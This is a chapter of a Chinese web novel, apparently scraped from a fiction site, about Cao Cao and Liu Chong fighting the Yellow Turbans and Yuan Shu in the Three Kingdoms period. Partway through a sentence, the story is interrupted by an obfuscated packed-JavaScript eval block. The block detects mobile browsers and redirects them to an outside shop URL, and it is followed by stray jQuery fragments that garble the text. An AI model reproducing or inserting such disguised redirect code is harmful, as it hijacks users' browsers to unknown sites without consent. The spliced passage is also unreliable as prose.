文趣网 > 都市小说 > [三国]恶女势必要青史留名 > 10. 青州黄巾
    又是一年春,这片大地的泥土已经得到不知多少具尸体的滋养,花养在肥沃的土壤里,总是开的格外鲜艳。

    残余黄巾军在诸侯讨董期间大获发展,现已占据青州,正往兖州进攻。往后,不知道还有多少具尸体会被送入地底深处,成为生长在这片土地上的鲜花的养料。

    兖州刺史刘岱贸然应战,为和公孙瓒争一时之气,低估了青州黄巾军,直接战死当场。

    刘岱一死,兖州刺史之位空缺,兖州便无人可抵抗青州黄巾。而曹操所在的东郡、鲍信所在的济北国首当其冲,必将最先遭受贼寇猛攻。

    鲍信此前与曹操合作过,交情甚好,毫不犹豫为其举荐兖州刺史一职。再加上有陈宫这个东郡名士为曹操游说,曹操最终是当上了兖州刺史,开始紧锣密鼓地与黄巾军作战。

    而豫州这边亦不乐观。

    袁术在寿春对豫州虎视眈眈,接连出兵,纷扰不断。

    刘宠和曹操坐上刺史之位后的第一件事,都是要解决来犯的人,保住自己的地位。

    一连几天布置防控、练兵、应对袁术的进攻,刘宠回到屋里直接累的瘫坐在椅子上。

    葛玄看了她一眼,倒了杯茶。

    “谢……”刘宠想着不能辜负他人好意,勉强起身正抬手要接过葛玄手里的茶杯,结果看着葛玄将茶水送入口中。

    葛玄笑了声,“刺史的位置可没那么好当。解决眼下来犯的敌人是打头枪,接来下的路还长着。”

    “长着那就慢慢走,总不能一口吃成胖子。”刘宠坐起身,为自己倒杯水,一口饮尽。

    “我现在身边能用的就你和骆相,阚泽那家伙去打探情报老是不见踪影,都不知道是不是打探情报打着打着打进敌人内部去了。”

    刘宠倒不是抱怨阚泽,毕竟她前几日才送回来兖州那边的消息——曹操和鲍信信心十足,欲奇袭青州黄巾,路上遇之反被围困,鲍信以命抵挡助曹操脱困,曹操只损失数百士兵,但鲍信殒命,曹操再次陷入绝境。

    只是现在事无巨细都要刘宠亲自过眼,她真觉得就算打赢了袁术,自己迟早也会累成老黄牛。她身边怎么就没有多几个像鲍信、张邈这样为他出生入死的人呢?

    她正惆怅着,看见骆俊一脸担忧地抱着见厚厚的外袍走来,她无奈叹息,起身朝骆俊走去。

    骆俊道:“殿下天冷了,你又穿这么单薄,快快添上件外袍吧!”

    “骆相眉眼耷拉下来好像一夜老了十岁!”

    “真的?”骆俊吓得摸起了自己的脸。

    这么一说,骆俊好像真的比刘宠记忆中的模样老了许多。

    是因为这些年一直事无巨细的照顾自己,还是因为身上背负了太多常人难以理解的事情、过于担忧自己,所以才老的这么快吗……

    刘宠笑的眉眼弯弯:“假的!骆相可不准变老!你老了还有谁能将我照顾的如此周全?我就是希望你不要这么担心我,这些年的经历,你还觉得我没有扛事的能力吗?”

    骆俊眉眼间漫开一丝浅淡宽慰,可转瞬眸色又沉下去,眼底浮起一层淡淡的怅然,欣慰之中掺着说不清的唏嘘,似喜前路尚有指望,又叹世事颠簸、万般不易。

    “老夫什么都不求,只求殿下平安无恙,不然,我有何脸面见先……”骆俊突然缄口,意识到屋内还有另一人,他话锋一转:“袁术大军不日便抵达汝南,殿下可有信心迎敌?”

    葛玄勾起嘴角:“不用畏惧袁术,他就是吃惯了甜头,只要给他点苦头尝尝,他自然会不攻自破。殿下此战只需做做样子,表现出勇猛无惧的样子,他见了自然会退缩。”

    “你还真是了解他。”

    葛玄心里冷笑一声,袁氏那一大家子故事多的是。她继续说:“袁术暂时难以消灭,所以我们最好不要在这浪费太多兵力。北面的兖州,才是最好的目标。”

    葛玄就等着兖州溃败,等刘宠一收拾完袁术,就可顺势接应兖州残局,一举坐拥两州。

    曹操这边,因为突袭惹得青州黄巾不快。他们对寿张城展开了大规模的攻击,曹操军队虽有原寿张兵的加入,但依旧无法抵抗来势汹涌的黄巾军。

    原先属刘岱部下的程昱,被张邈举荐给了曹操。曹操立刻就征辟了程昱,任命他为寿张令。

    屋内众人面色消沉,仿佛战火的硝烟也一同蔓延至屋内。

    戏严抿了口茶,徐徐说道:“主公,我以前就好奇斗士比拼,明明只是一场比赛,奖金也不至于富可敌国,但他们依旧在擂台上豁出性命去搏斗。我之后才明白,对他们来说,过着贫穷、屈辱、低贱的日子和死亡无异。当人没有退路的时候,前方一点微薄的希望,都是他们能脱离这样的生活所触碰到的极限,所以他们会为此拼命。”

    他站起身向曹操作辑说道:“家有家规,国有国法,军中也需要有合理的军纪。所以,我认为军中还需要一套明确的赏罚标准。大家看到了实际的利益,才会为此奋斗。但不可过于紧逼,不然只会适得其反。我已大致想好:不论出身贵贱,均以功绩为依据。大功大奖,小功小奖,无功不奖。”

    曹操手托着下巴,看上去正垂眼盯着桌面发呆,但随后大笑起来:“有理!志才就按你说的去做,把军纪完善!”

    他们的一番操作,士兵真的被鼓舞!士兵与黄巾军殊死一战,陈宫减缓了黄巾军对寿张的进攻。

    但是大敌在前,这样的方法也只是权宜之计。没有实质性的成功,人最终还是会陷入自我迷茫。大家都说过程很重要,但那只是输家的自我安慰罢了。

    曹操和黄巾军多次谈判,既无法达成对方的条件,也换不来鲍信的尸体。

    最终,鲍信只能以木雕模样被众人下葬。

    曹操祭拜时泣不成声,也许是在哭鲍信,也许也是在哭自己的此时陷入的困境。

    “黄巾军多次来信欲将我劝降,引得众兖州官员对我生疑,既不能谈拢,还何必再谈!”曹操将刚刚看完的信件扔在了桌面上。

    戏严何时都是一副温文尔雅之姿,犹如经受世家大族洗礼的贵公子:“能够有和黄巾对话的渠道,事情或许还会好办些。黄巾军说白了也是百姓,不过想要一安生日子,我们可借此机会假意给黄巾军士兵优渥的归降条件,让他们的军心松懈下来。事急则缓,事缓则圆。”

    “但黄巾军始终数量众多,难以歼灭!”

    戏严往自己空了的茶盏倒入滚烫的茶水,随后他向曹操举起这杯快要满溢的茶盏:“那就不消灭,俘虏敌兵,壮大我们军队的人数。”

    曹操立刻领悟过来,大笑道:“哈哈哈!志才真是点醒我了!当年我在青州为百姓跟黄巾军拼死拼活,大家可都是我的子民啊!我理应劝降,好好对待!”

    “我们可用昼夜交战一计,不分日夜与其作战,损耗他们的体力,如此便能将我军伤亡降低,又能有效俘虏敌军士兵为我所用。”

    曹操起身坐到戏严旁边,拍了拍他肩膀:“呵,志才啊!你咋恁聪明!没了你我可怎么好啊哈哈!就按你说的去办!”

    曹操设下奇兵,三天两日搞夜战,还命令士兵尽量活捉,俘虏一大批黄巾军,总算解了寿张之围。

    但从茶壶中流出的茶水总是滚烫,茶水是倒入了自己的杯子,能不能喝下这口水,还得看自己的本事了。

    程昱受戏严之命前往劝服战俘,他本来才不想接这种吃力不讨好的活,说不定战俘一个暴起把自己给打死了。

    但听到戏严说他“美须髯”,样貌姣好的人说话别人总是能听进去些,他一下就心软了。谁让他是大帅哥呢!

    但是真的面对一大群苦大仇深的战俘,程昱还是显得有些无措。他只好走到一个看起来比较瘦弱的男子面前:“你叫什么名字?”

    男子恶狠狠地瞪着他:“关你屁事。”

    程昱又摸着脑袋悠悠起身:“嘶!关这个姓是有的,我记得有个人好像叫什么关……云长?但是名你屁事我还是第一次听。”

    男子被困住的身子挣扎了下,对眼前这个傻子怒吼道:“你是不是脑子不好使,我说我叫什么关你屁事!”

    “哈哈急了!”

    男子这才反应过来程昱在羞辱他,便不吱声了。

    “哼,我好言好语问你叫什么,你出言不逊,怨不得我。”

    见众人都不在作声,程昱清了清嗓子,开始了自己的演讲。

    戏严也担心战俘看见只有程昱一人来劝服会暴动,于是嘱咐了夏侯惇一同去。只是他来晚一些,一进营内就看见程昱正跟战俘搭肩勾背!

    “程昱,你对战俘的思想工作……?”

    夏侯惇见程昱跟战俘有说有笑,顿时火冒三丈,上前扯着他的衣领狠狠给了程昱一拳:“你这个叛徒,让你来劝服战俘,你倒好,反倒被劝服了!”

    程昱被打得在地上踉踉跄跄的转圈,一时头晕眼花,反应过来才捂着自己的脸放声大骂:“你丫的脑子有包啊!我都已经和他们玩到一块了,还没劝服他们啊!你那么大个脑袋是摆设吗?脑子不要就给别人吃了去,那么多人都吃不饱饭,你丫的还牛什么牛!”

    他越说越激动,莫名挨打的怒火喷涌而出,直接冲上前抱着夏侯惇打了起来!

    夏侯惇也不服输,两人撕打的动静越闹越大,战俘害怕战火蔓延自己,也四散躲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720072|208600||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去。

    两人都是高级军官,在外看守的士兵也不敢上前阻拦,只好叫来了戏严。

    戏严面对这样混乱的场面,终日谦谦君子的仪态终于有了一丝裂痕。过往的记忆涌现出来,他的两个弟弟也是如出一辙,两个扭打的身影变成了他记忆里的人。

    “程昱!夏侯惇!住手!”一声怒吼把滚在地上的两人都吓了一跳。

    他们这时才不爽的站起来,像刚打完架欧气的小孩,谁也不服谁。

    戏严深吸一口气,稳重声线不至于再发怒:“你们两个去领军棍吧。在军营中无故斗殴,一人五十棍。”

    一旁的战俘听到这个数字十分惊讶,目光来来回回在鼻青脸肿的二人脸上扫。

    程昱心中的委屈瞬间决堤,伸手一指夏侯惇,对戏严哭喊道:“是他先打我的!”

    “那你还手没?”

    程昱狠狠扭头,瞪着夏侯惇,没再说话。

    “是我先动手的,他的二十棍,我来受。”即使替程昱受罚了,夏侯惇看他也是一副趾高气昂地模样。

    “随你们便,反正一百棍,一棍不落。”

    战俘见到这样的位高权重者,在军营也要接受军规处置,全都心服口服地归顺了。

    而寒冬已至,有些人的希望已经被封冻在层层寒冰之中,而有些人的希望才刚刚露出头角。

    在一片冰天雪地中,曹操等来了他的转机。

    饥饿和寒冷让黄巾军战斗力大减,他们往济北退兵,曹操率兵追击。

    期间荀彧还投靠了曹操。他的到来像带来春天的水鸭,河流深处的寒冰开始融化,它们总是最先感知。

    最先知道春天要来的人,便带来了春天。

    曹操和众人在屋中商议如何再战黄巾军,屋中却突然飘入一阵奇香。

    曹操眼尾染上一丝笑意:“是文若(荀彧)来了。”

    荀彧像一颗君子兰,清秀高雅,不沾染一点世俗气。

    无论何时何地他都是气定神闲,所以大家也不觉得他会说出什么坏消息。

    荀彧道:“主公,长安传来消息,李傕、郭汜占领长安。司徒王允被杀,尸体至今挂在城门外,天子已落入李傕、郭汜等人手中。”

    “什么!?”曹操一惊,炸跳起来:“西凉军来势这么猛!居然把司徒王允杀了!”

    荀彧的侄子荀攸在朝廷中任职,所以大家对他的话不曾有疑。

    “李傕、郭汜虽是墙头草,但危及到他们性命了,这群西凉军可是会拼命的。不过他们似乎本就打算卸甲归田了,是谁又点燃了他们心中的怒火……呵!这背后之人确是有趣。”张邈语气平静,仿佛早就预料到了此事。

    董卓死后由王允接管了朝政,如何处理董卓旧部关乎社稷安定,毕竟西凉军人数众多且战力强劲,处理不妥定会再生动乱。

    王允在这件事上却变化无常,吕布曾多次相劝将董卓部下全部赦免。但王允觉得自己是诛杀国贼的首要功臣,居高自傲,也不把其他人放在眼里,更何况是吕布这样出身的人。

    吕布本就自命不凡,被王允这样对待,怎么会再甘心为他办事?于是他离开了长安,在中原游走以壮大自己的兵力。

    王允以为董卓一死,西凉军不敢再犯,便任由吕布离开了。谁知李傕、郭汜会杀了个回马枪,再次进攻长安。

    戏严眼中浮现一阵惋惜,但面上仍在笑:“在下闻京中对阵李傕,王允以胡轸、徐荣二将出征。殊不知胡轸早已私通西凉,暗藏异心。忠勇如徐荣,竟遭人算计,徒作牺牲,实在令人叹惋。”

    说起徐荣,曹操那叫一个印象深刻,自己差点死他手里!

    但比起记恨,曹操想的跟多的是跟怎么招纳这样一个英勇战士到他麾下。

    曹操叹了口气,心中没有对夺命仇人徐荣的恨,更多的是对这样有才能的人就此殒命的惋惜。

    荀彧悠悠捧起茶杯,喝了口茶,不慌不忙的看向张邈:“王允从前是多么谦善的人,大权在握却变得目中无人,如果能善用朝中大臣怎么会落得这样的地步?他一死,朝廷再无人把控大局,看来这次是真的要天下大乱了。”

    张邈只是淡淡笑着,那日与他相谈甚欢,要共谋大事的王允,终究成为了他局中一棋。他看着杯中的茶水,淡黄色的茶水不算清澈,似乎与他在王允府中看见的池塘十分相似。

    水清则无鱼。

    从前世人只觉得那些贪官污吏是受权力蒙蔽了双眼,但权力不过是鱼钩,钓出了在人心游动的那条鱼。

    心里的鱼链接着身体的五脏六腑,鱼一旦离身,人原本的面貌被抽出,那就离死亡不远了。